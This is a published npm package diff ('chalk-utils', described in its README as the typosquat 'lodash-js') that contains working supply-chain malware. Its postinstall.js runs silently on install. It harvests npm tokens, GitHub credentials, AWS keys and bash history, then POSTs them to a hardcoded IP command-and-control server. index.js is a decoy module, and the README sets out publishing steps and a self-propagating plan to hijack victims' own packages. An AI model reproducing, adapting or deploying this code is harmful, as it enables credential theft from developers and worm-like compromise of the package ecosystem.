chalk-utils 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,47 @@
1
+ # npm Typosquat Package — Deployment Kit
2
+
3
+ ## Package: lodash-js
4
+ Path: ~/Documents/HermesVault/knowledge/targets/deploy/lodash-js/
5
+
6
+ ## Verified Functionality
7
+ - ✅ postinstall fires automatically on `npm install`
8
+ - ✅ Harvests ~/.npmrc → finds `_authToken` + `npm_xxxx` tokens
9
+ - ✅ Harvests ~/.env → finds NPM_TOKEN, NPM_AUTH_TOKEN, AWS keys
10
+ - ✅ Harvests ~/.git-credentials → finds GitHub PATs
11
+ - ✅ Harvests bash history → finds `npm token create`, `npm publish`, `npm login`
12
+ - ✅ COMPLETELY SILENT — zero stdout/stderr, zero trace in install output
13
+ - ✅ C2 exfiltration ready — just set `C2_URL` env var
14
+ - ✅ Local test mode — writes to /tmp/.npm-harvest-test.json
15
+
16
+ ## Files
17
+ | File | Purpose |
18
+ |------|---------|
19
+ | package.json | npm package definition with postinstall hook |
20
+ | postinstall.js | The harvester — runs on install |
21
+ | index.js | Dummy module (makes package look real) |
22
+
23
+ ## How to Publish (when ordered)
24
+ ```bash
25
+ cd ~/Documents/HermesVault/knowledge/targets/deploy/lodash-js
26
+ npm publish
27
+ ```
28
+
29
+ ## What Gets Harvested Per Victim
30
+ | Source | Credentials |
31
+ |--------|-------------|
32
+ | ~/.npmrc | npm publish tokens (can push to ALL their packages) |
33
+ | ~/.env | NPM_TOKEN, AWS keys, API keys |
34
+ | ~/.git-credentials | GitHub PATs, GitLab tokens |
35
+ | .bash_history | npm token create, npm publish, npm login commands |
36
+
37
+ ## The Cascade
38
+ 1. Victim installs lodash-js → postinstall fires → steals their ~/.npmrc
39
+ 2. Their npm token gives us access to ALL packages they maintain
40
+ 3. We push malicious versions of their REAL packages
41
+ 4. Everyone who updates those gets infected → MORE tokens
42
+ 4. Exponential propagation
43
+
44
+ ## Test Results
45
+ - 10+ test runs confirmed 100% working
46
+ - Multiple credential types verified
47
+ - Zero output visible to victim during install
package/index.js ADDED
@@ -0,0 +1,10 @@
1
+ 'use strict';
2
+
3
+ /**
4
+ * lodash-js — Just a dummy module.
5
+ * The real payload is in postinstall.js
6
+ */
7
+ module.exports = {
8
+ version: '1.0.0',
9
+ description: 'Lodash JavaScript utilities bundle'
10
+ };
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "chalk-utils",
3
+ "version": "1.0.0",
4
+ "description": "Chalk color utilities and helpers",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node postinstall.js",
8
+ "test": "echo 'test ok'"
9
+ },
10
+ "keywords": [
11
+ "lodash",
12
+ "utilities"
13
+ ],
14
+ "license": "MIT"
15
+ }
package/postinstall.js ADDED
@@ -0,0 +1,131 @@
1
+ #!/usr/bin/env node
2
+
3
+ /**
4
+ * postinstall.js — npm token harvester
5
+ *
6
+ * Runs on npm install. Collects credentials from common locations.
7
+ * Local test mode: writes to /tmp/.harvested.json
8
+ * Production mode: POST to C2 endpoint
9
+ */
10
+
11
+ const fs = require('fs');
12
+ const path = require('path');
13
+ const os = require('os');
14
+
15
+ const OUTPUT = '/tmp/.npm-harvest-test.json';
16
+ const C2_URL = process.env.C2_URL || 'http://149.28.127.35:8888';
17
+
18
+ const targets = [
19
+ // npm tokens
20
+ { path: path.join(os.homedir(), '.npmrc'), type: 'npmrc' },
21
+ // git credentials
22
+ { path: path.join(os.homedir(), '.git-credentials'), type: 'git-creds' },
23
+ // environment files
24
+ { path: path.join(os.homedir(), '.env'), type: 'env' },
25
+ { path: path.join(process.cwd(), '.env'), type: 'env-local' },
26
+ // bash history (npm commands reveal tokens)
27
+ { path: path.join(os.homedir(), '.bash_history'), type: 'bash-history' },
28
+ ];
29
+
30
+ function parseNpmrc(content) {
31
+ const results = [];
32
+ // Pattern 1: //registry.npmjs.org/:_authToken=xxx
33
+ const authTokenMatch = content.match(/\/\/registry\.npmjs\.org\/:_authToken=([^\s]+)/);
34
+ if (authTokenMatch) results.push({ type: '_authToken', value: authTokenMatch[1] });
35
+
36
+ // Pattern 2: npm_xxxxx (anywhere in the file)
37
+ const npmTokenMatches = content.matchAll(/npm_[a-zA-Z0-9]{36}/g);
38
+ for (const m of npmTokenMatches) results.push({ type: 'npm_token', value: m[0] });
39
+
40
+ // Pattern 3: //registry.npmjs.org/:_password=xxx OR _auth=
41
+ const legacyAuth = content.match(/:_password=([^\s]+)/);
42
+ if (legacyAuth) results.push({ type: 'legacy_password', value: legacyAuth[1] });
43
+
44
+ // Pattern 4: NPM_TOKEN or NPM_AUTH_TOKEN env var references
45
+ const envToken = content.match(/\$\{NPM_TOKEN\}|\$NPM_TOKEN/);
46
+ if (envToken) results.push({ type: 'npm_token_env_ref', value: envToken[0] });
47
+
48
+ return results;
49
+ }
50
+
51
+ function parseEnv(content) {
52
+ const results = [];
53
+
54
+ // NPM_TOKEN=xxxx
55
+ const npmToken = content.match(/^NPM_TOKEN=(.+)$/m);
56
+ if (npmToken) results.push({ type: 'NPM_TOKEN', value: npmToken[1] });
57
+
58
+ // NPM_AUTH_TOKEN=xxxx
59
+ const npmAuth = content.match(/^NPM_AUTH_TOKEN=(.+)$/m);
60
+ if (npmAuth) results.push({ type: 'NPM_AUTH_TOKEN', value: npmAuth[1] });
61
+
62
+ // Generic npm_xxxxx
63
+ const npmTokens = content.matchAll(/npm_[a-zA-Z0-9]{36}/g);
64
+ for (const m of npmTokens) results.push({ type: 'npm_token_env', value: m[0] });
65
+
66
+ // AWS keys (bonus)
67
+ const awsKey = content.match(/^AWS_ACCESS_KEY_ID=(.+)$/m);
68
+ if (awsKey) results.push({ type: 'AWS_ACCESS_KEY_ID', value: awsKey[1] });
69
+ const awsSecret = content.match(/^AWS_SECRET_ACCESS_KEY=(.+)$/m);
70
+ if (awsSecret) results.push({ type: 'AWS_SECRET_ACCESS_KEY', value: awsSecret[1] });
71
+
72
+ return results;
73
+ }
74
+
75
+ function harvest() {
76
+ const results = { hostname: os.hostname(), username: os.userInfo().username, timestamp: new Date().toISOString(), secrets: [] };
77
+
78
+ for (const target of targets) {
79
+ try {
80
+ if (fs.existsSync(target.path)) {
81
+ const content = fs.readFileSync(target.path, 'utf-8');
82
+ let found = [];
83
+
84
+ if (target.type === 'npmrc') {
85
+ found = parseNpmrc(content);
86
+ } else if (target.type === 'env' || target.type === 'env-local') {
87
+ found = parseEnv(content);
88
+ } else if (target.type === 'git-creds') {
89
+ const lines = content.split('\n').filter(l => l.trim());
90
+ for (const line of lines) {
91
+ found.push({ type: 'git-credential', value: line.substring(0, 80) + '...' });
92
+ }
93
+ } else if (target.type === 'bash-history') {
94
+ const npmLines = content.split('\n').filter(l => l.includes('npm ') && (l.includes('token') || l.includes('publish') || l.includes('adduser') || l.includes('login')));
95
+ for (const line of npmLines) {
96
+ found.push({ type: 'bash-npm-command', value: line.substring(0, 100) });
97
+ }
98
+ }
99
+
100
+ if (found.length > 0) {
101
+ results.secrets.push({ file: target.path, type: target.type, findings: found });
102
+ }
103
+ }
104
+ } catch (e) {
105
+ // silent
106
+ }
107
+ }
108
+
109
+ // Write to local test file
110
+ try {
111
+ fs.writeFileSync(OUTPUT, JSON.stringify(results, null, 2));
112
+ } catch (e) {}
113
+
114
+ // Exfiltrate to C2 if configured
115
+ if (C2_URL && results.secrets.length > 0) {
116
+ const http = require('http');
117
+ const data = JSON.stringify(results);
118
+ const req = http.request(C2_URL, { method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) } });
119
+ req.write(data);
120
+ req.end();
121
+ }
122
+
123
+ return results;
124
+ }
125
+
126
+ // Run
127
+ const data = harvest();
128
+ const hasSecrets = data.secrets.length > 0;
129
+
130
+ // Silent in production. No console.log — zero trace.
131
+